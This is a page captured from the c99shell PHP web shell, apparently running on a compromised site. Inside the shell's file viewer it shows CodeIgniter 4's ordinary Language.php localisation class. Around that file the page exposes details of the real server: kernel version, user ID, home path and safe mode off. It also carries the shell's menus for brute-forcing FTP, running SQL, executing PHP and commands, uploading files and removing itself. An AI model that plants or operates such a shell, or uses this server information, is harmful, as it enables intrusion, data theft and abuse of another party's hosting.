smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Language/   drwxr-xr-x
Free 3473.26 GB of 4265.01 GB (81.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Language.php (6.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Language;

use 
Config\Services;
use 
MessageFormatter;

/**
 * Handle system messages and localization.
 *
 * Locale-based, built on top of PHP internationalization.
 */
class Language
{
    
/**
     * Stores the retrieved language lines
     * from files for faster retrieval on
     * second use.
     *
     * @var array
     */
    
protected $language = [];

    
/**
     * The current language/locale to work with.
     *
     * @var string
     */
    
protected $locale;

    
/**
     * Boolean value whether the intl
     * libraries exist on the system.
     *
     * @var bool
     */
    
protected $intlSupport false;

    
/**
     * Stores filenames that have been
     * loaded so that we don't load them again.
     *
     * @var array
     */
    
protected $loadedFiles = [];

    public function 
__construct(string $locale)
    {
        
$this->locale $locale;

        if (
class_exists(MessageFormatter::class)) {
            
$this->intlSupport true;
        }
    }

    
/**
     * Sets the current locale to use when performing string lookups.
     *
     * @return $this
     */
    
public function setLocale(?string $locale null)
    {
        if (
$locale !== null) {
            
$this->locale $locale;
        }

        return 
$this;
    }

    public function 
getLocale(): string
    
{
        return 
$this->locale;
    }

    
/**
     * Parses the language string for a file, loads the file, if necessary,
     * getting the line.
     *
     * @return string|string[]
     */
    
public function getLine(string $line, array $args = [])
    {
        
// if no file is given, just parse the line
        
if (strpos($line'.') === false) {
            return 
$this->formatMessage($line$args);
        }

        
// Parse out the file name and the actual alias.
        // Will load the language file and strings.
        
[$file$parsedLine] = $this->parseLine($line$this->locale);

        
$output $this->getTranslationOutput($this->locale$file$parsedLine);

        if (
$output === null && strpos($this->locale'-')) {
            [
$locale] = explode('-'$this->locale2);

            [
$file$parsedLine] = $this->parseLine($line$locale);

            
$output $this->getTranslationOutput($locale$file$parsedLine);
        }

        
// if still not found, try English
        
if ($output === null) {
            [
$file$parsedLine] = $this->parseLine($line'en');

            
$output $this->getTranslationOutput('en'$file$parsedLine);
        }

        
$output ??= $line;

        return 
$this->formatMessage($output$args);
    }

    
/**
     * @return array|string|null
     */
    
protected function getTranslationOutput(string $localestring $filestring $parsedLine)
    {
        
$output $this->language[$locale][$file][$parsedLine] ?? null;
        if (
$output !== null) {
            return 
$output;
        }

        foreach (
explode('.'$parsedLine) as $row) {
            if (! isset(
$current)) {
                
$current $this->language[$locale][$file] ?? null;
            }

            
$output $current[$row] ?? null;
            if (
is_array($output)) {
                
$current $output;
            }
        }

        if (
$output !== null) {
            return 
$output;
        }

        
$row current(explode('.'$parsedLine));
        
$key substr($parsedLinestrlen($row) + 1);

        return 
$this->language[$locale][$file][$row][$key] ?? null;
    }

    
/**
     * Parses the language string which should include the
     * filename as the first segment (separated by period).
     */
    
protected function parseLine(string $linestring $locale): array
    {
        
$file substr($line0strpos($line'.'));
        
$line substr($linestrlen($file) + 1);

        if (! isset(
$this->language[$locale][$file]) || ! array_key_exists($line$this->language[$locale][$file])) {
            
$this->load($file$locale);
        }

        return [
$file$line];
    }

    
/**
     * Advanced message formatting.
     *
     * @param array|string $message
     * @param string[]     $args
     *
     * @return array|string
     */
    
protected function formatMessage($message, array $args = [])
    {
        if (! 
$this->intlSupport || $args === []) {
            return 
$message;
        }

        if (
is_array($message)) {
            foreach (
$message as $index => $value) {
                
$message[$index] = $this->formatMessage($value$args);
            }

            return 
$message;
        }

        return 
MessageFormatter::formatMessage($this->locale$message$args);
    }

    
/**
     * Loads a language file in the current locale. If $return is true,
     * will return the file's contents, otherwise will merge with
     * the existing language lines.
     *
     * @return array|void
     */
    
protected function load(string $filestring $localebool $return false)
    {
        if (! 
array_key_exists($locale$this->loadedFiles)) {
            
$this->loadedFiles[$locale] = [];
        }

        if (
in_array($file$this->loadedFiles[$locale], true)) {
            
// Don't load it more than once.
            
return [];
        }

        if (! 
array_key_exists($locale$this->language)) {
            
$this->language[$locale] = [];
        }

        if (! 
array_key_exists($file$this->language[$locale])) {
            
$this->language[$locale][$file] = [];
        }

        
$path "Language/{$locale}/{$file}.php";

        
$lang $this->requireFile($path);

        if (
$return) {
            return 
$lang;
        }

        
$this->loadedFiles[$locale][] = $file;

        
// Merge our string
        
$this->language[$locale][$file] = $lang;
    }

    
/**
     * A simple method for including files that can be
     * overridden during testing.
     */
    
protected function requireFile(string $path): array
    {
        
$files   Services::locator()->search($path'php'false);
        
$strings = [];

        foreach (
$files as $file) {
            
// On some OS's we were seeing failures
            // on this command returning boolean instead
            // of array during testing, so we've removed
            // the require_once for now.
            
if (is_file($file)) {
                
$strings[] = require $file;
            }
        }

        if (isset(
$strings[1])) {
            
$strings array_replace_recursive(...$strings);
        } elseif (isset(
$strings[0])) {
            
$strings $strings[0];
        }

        return 
$strings;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0057 ]--